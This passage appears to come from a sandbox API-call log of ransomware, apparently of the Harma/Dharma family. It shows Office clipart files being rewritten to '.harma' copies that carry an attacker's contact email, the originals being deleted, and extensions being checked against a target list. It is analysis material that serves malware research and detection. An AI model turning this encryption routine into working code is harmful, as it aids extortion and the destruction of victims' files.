Office\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif")) returned 0x20 [0068.175] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0068.175] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0068.175] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0068.175] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0068.175] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0068.175] GetLastError () returned 0x0 [0068.175] ReadFile (in: hFile=0x1a0, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0xd32, lpOverlapped=0x0) returned 1 [0068.177] WriteFile (in: hFile=0x21c, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0xd40, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xd40, lpOverlapped=0x0) returned 1 [0068.178] ReadFile (in: hFile=0x1a0, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0068.178] WriteFile (in: hFile=0x21c, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0068.178] SetEndOfFile (hFile=0x21c) returned 1 [0068.179] CloseHandle (hObject=0x21c) returned 1 [0068.179] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0068.179] SetEndOfFile (hFile=0x1a0) returned 1 [0068.180] CloseHandle (hObject=0x1a0) returned 1 [0068.180] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0068.180] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif")) returned 1 [0068.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0068.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0068.180] lstrlenW (lpString=".doc") returned 4 [0068.180] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0068.180] lstrlenW (lpString=".docx") returned 5 [0068.180] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0068.180] lstrlenW (lpString=".pdf") returned 4 [0068.180] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0068.180] lstrlenW (lpString=".xls") returned 4 [0068.180] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0068.180] lstrlenW (lpString=".xlsx") returned 5 [0068.180] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0068.180] lstrlenW (lpString=".ppt") returned 4 [0068.180] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0068.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0068.181] lstrlenW (lpString=".zip") returned 4 [0068.181] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0068.181] lstrlenW (lpString=".rar") returned 4 [0068.181] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0068.181] lstrlenW (lpString=".bz2") returned 4 [0068.181] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0068.181] lstrlenW (lpString=".7z") returned 3 [0068.181] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0068.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0068.181] lstrlenW (lpString=".dbf") returned 4 [0068.181] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0068.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0068.181] lstrlenW (lpString=".1cd") returned 4 [0068.181] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0068.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0068.181] lstrlenW (lpString=".jpg") returned 4 [0068.181] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0068.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0068.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0068.181] lstrlenW (lpString=".doc") returned 4 [0068.181] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0068.181] lstrlenW (lpString=".docx") returned 5 [0068.181] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0068.181] lstrlenW (lpString=".pdf") returned 4 [0068.181] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0068.181] lstrlenW (lpString=".xls") returned 4 [0068.181] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0068.181] lstrlenW (lpString=".xlsx") returned 5 [0068.181] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0068.181] lstrlenW (lpString=".ppt") returned 4 [0068.181] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0068.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0068.182] lstrlenW (lpString=".zip") returned 4 [0068.182] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0068.182] lstrlenW (lpString=".rar") returned 4 [0068.182] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0068.182] lstrlenW (lpString=".bz2") returned 4 [0068.182] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0068.182] lstrlenW (lpString=".7z") returned 3 [0068.182] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0068.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0068.182] lstrlenW (lpString=".dbf") returned 4 [0068.182] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0068.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0068.182] lstrlenW (lpString=".1cd") returned 4 [0068.182] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0068.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0068.182] lstrlenW (lpString=".jpg") returned 4 [0068.182] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0068.182] lstrcmpiW (lpString1=".GIF", lpString2=".harma") returned -1 [0068.182] lstrlenW (lpString="AG00176_.GIF") returned 12 [0068.182] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0068.183] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=3120) returned 1 [0068.183] CloseHandle (hObject=0x1a0) returned 1 [0068.185] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif")) returned 0x20 [0068.185] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0068.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0068.185] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0068.185] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0068.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0068.186] GetLastError () returned 0x0 [0068.186] ReadFile (in: hFile=0x1a0, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0xc30, lpOverlapped=0x0) returned 1 [0068.203] WriteFile (in: hFile=0x21c, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0xc40, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xc40, lpOverlapped=0x0) returned 1 [0068.204] ReadFile (in: hFile=0x1a0, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0068.204] WriteFile (in: hFile=0x21c, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0068.204] SetEndOfFile (hFile=0x21c) returned 1 [0068.204] CloseHandle (hObject=0x21c) returned 1 [0068.204] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0068.204] SetEndOfFile (hFile=0x1a0) returned 1 [0068.205] CloseHandle (hObject=0x1a0) returned 1 [0068.205] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0068.206] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif")) returned 1 [0068.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0068.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0068.206] lstrlenW (lpString=".doc") returned 4 [0068.206] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0068.206] lstrlenW (lpString=".docx") returned 5 [0068.206] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0068.206] lstrlenW (lpString=".pdf") returned 4 [0068.206] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0068.206] lstrlenW (lpString=".xls") returned 4 [0068.206] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0068.206] lstrlenW (lpString=".xlsx") returned 5 [0068.206] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0068.206] lstrlenW (lpString=".ppt") returned 4 [0068.206] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0068.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0068.206] lstrlenW (lpString=".zip") returned 4 [0068.206] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0068.206] lstrlenW (lpString=".rar") returned 4 [0068.206] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0068.206] lstrlenW (lpString=".bz2") returned 4 [0068.206] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0068.206] lstrlenW (lpString=".7z") returned 3 [0068.206] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0068.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0068.207] lstrlenW (lpString=".dbf") returned 4 [0068.207] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0068.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0068.207] lstrlenW (lpString=".1cd") returned 4 [0068.207] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0068.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0068.207] lstrlenW (lpString=".jpg") returned 4 [0068.207] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0068.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0068.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0068.207] lstrlenW (lpString=".doc") returned 4 [0068.207] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0068.207] lstrlenW (lpString=".docx") returned 5 [0068.207] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0068.207] lstrlenW (lpString=".pdf") returned 4 [0068.207] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0068.207] lstrlenW (lpString=".xls") returned 4 [0068.207] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0068.207] lstrlenW (lpString=".xlsx") returned 5 [0068.207] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0068.207] lstrlenW (lpString=".ppt") returned 4 [0068.207] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0068.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0068.207] lstrlenW (lpString=".zip") returned 4 [0068.207] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0068.207] lstrlenW (lpString=".rar") returned 4 [0068.207] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0068.207] lstrlenW (lpString=".bz2") returned 4 [0068.207] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0068.208] lstrlenW (lpString=".7z") returned 3 [0068.208] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0068.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0068.208] lstrlenW (lpString=".dbf") returned 4 [0068.208] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0068.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0068.208] lstrlenW (lpString=".1cd") returned 4 [0068.208] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0068.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0068.208] lstrlenW (lpString=".jpg") returned 4 [0068.208] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0068.208] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0068.208] lstrlenW (lpString="AN00010_.WMF") returned 12 [0068.208] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0068.227] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=3026) returned 1 [0068.228] CloseHandle (hObject=0x1a0) returned 1 [0068.228] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf")) returned 0x20 [0068.228] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0068.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0068.228] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0068.228] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0068.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0068.228] GetLastError () returned 0x0 [0068.228] ReadFile (in: hFile=0x1a0, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0xbd2, lpOverlapped=0x0) returned 1 [0068.230] WriteFile (in: hFile=0x21c, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0xbe0, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xbe0, lpOverlapped=0x0) returned 1 [0068.231] ReadFile (in: hFile=0x1a0, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0068.231] WriteFile (in: hFile=0x21c, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0068.231] SetEndOfFile (hFile=0x21c) returned 1 [0068.232] CloseHandle (hObject=0x21c) returned 1 [0068.232] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0068.232] SetEndOfFile (hFile=0x1a0) returned 1 [0068.233] CloseHandle (hObject=0x1a0) returned 1 [0068.233] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0068.233] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf")) returned 1 [0068.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0068.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0068.233] lstrlenW (lpString=".doc") returned 4 [0068.233] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0068.233] lstrlenW (lpString=".docx") returned 5 [0068.233] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0068.233] lstrlenW (lpString=".pdf") returned 4 [0068.233] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0068.233] lstrlenW (lpString=".xls") returned 4 [0068.233] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0068.234] lstrlenW (lpString=".xlsx") returned 5 [0068.234] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0068.234] lstrlenW (lpString=".ppt") returned 4 [0068.234] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0068.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0068.234] lstrlenW (lpString=".zip") returned 4 [0068.234] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0068.234] lstrlenW (lpString=".rar") returned 4 [0068.234] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0068.234] lstrlenW (lpString=".bz2") returned 4 [0068.234] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0068.234] lstrlenW (lpString=".7z") returned 3 [0068.234] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0068.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0068.234] lstrlenW (lpString=".dbf") returned 4 [0068.234] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0068.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0068.234] lstrlenW (lpString=".1cd") returned 4 [0068.234] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0068.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0068.234] lstrlenW (lpString=".jpg") returned 4 [0068.234] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0068.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0068.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0068.234] lstrlenW (lpString=".doc") returned 4 [0068.234] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0068.234] lstrlenW (lpString=".docx") returned 5 [0068.234] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0068.234] lstrlenW (lpString=".pdf") returned 4 [0068.234] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0068.235] lstrlenW (lpString=".xls") returned 4 [0068.235] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0068.235] lstrlenW (lpString=".xlsx") returned 5 [0068.235] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0068.235] lstrlenW (lpString=".ppt") returned 4 [0068.235] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0068.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0068.235] lstrlenW (lpString=".zip") returned 4 [0068.235] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0068.235] lstrlenW (lpString=".rar") returned 4 [0068.235] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0068.235] lstrlenW (lpString=".bz2") returned 4 [0068.235] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0068.235] lstrlenW (lpString=".7z") returned 3 [0068.235] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0068.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0068.235] lstrlenW (lpString=".dbf") returned 4 [0068.235] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0068.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0068.235] lstrlenW (lpString=".1cd") returned 4 [0068.235] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0068.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0068.235] lstrlenW (lpString=".jpg") returned 4 [0068.235] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0068.235] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0068.235] lstrlenW (lpString="AN00015_.WMF") returned 12 [0068.235] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0068.236] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=4734) returned 1 [0068.236] CloseHandle (hObject=0x1a0) returned 1 [0068.236] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf")) returned 0x20 [0068.236] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0068.236] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, 